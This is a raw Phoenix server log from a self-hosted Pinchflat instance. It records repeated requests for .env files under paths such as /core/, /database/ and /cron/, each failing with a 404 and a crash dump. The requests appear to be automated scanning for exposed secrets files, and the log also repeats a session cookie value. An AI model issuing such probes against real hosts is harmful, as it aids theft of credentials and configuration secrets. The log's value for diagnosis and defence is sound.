(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11785.0>, params: %{}, path_info: ["core", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/core/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWgb5ozpIwnAABUYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{}, body_params: %{}, cooki (truncated) 17:14:22.353 [info] GET /database/.env 17:14:22.354 [debug] QUERY OK source="settings" db=0.1ms idle=544.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:22.354 [debug] QUERY OK source="settings" db=0.0ms idle=544.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:22.354 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:22.354 [error] #PID<0.11786.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 19) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /database/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /database/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/database/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11786.0>, params: %{}, path_info: ["database", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/database/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWhdCeP1Ap5oABUaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/database/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /database/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/database/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{}, b (truncated) 17:14:22.626 [info] GET /assets/.env 17:14:22.626 [debug] QUERY OK source="settings" db=0.1ms idle=704.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:22.626 [debug] QUERY OK source="settings" db=0.0ms idle=545.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:22.627 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:22.627 [error] #PID<0.11787.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 20) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /assets/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 20, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11787.0>, params: %{}, path_info: ["assets", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/assets/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWid_BZRbZU4ABUcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 20, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 20, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 17:14:22.900 [info] GET /cron/.env 17:14:22.900 [debug] QUERY OK source="settings" db=0.1ms idle=818.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:22.900 [debug] QUERY OK source="settings" db=0.0ms idle=546.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:22.900 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:22.901 [error] #PID<0.11788.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 21) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /cron/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cron/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cron/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 21, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11788.0>, params: %{}, path_info: ["cron", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/cron/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWjfROG4JxGkABUeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cron/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", 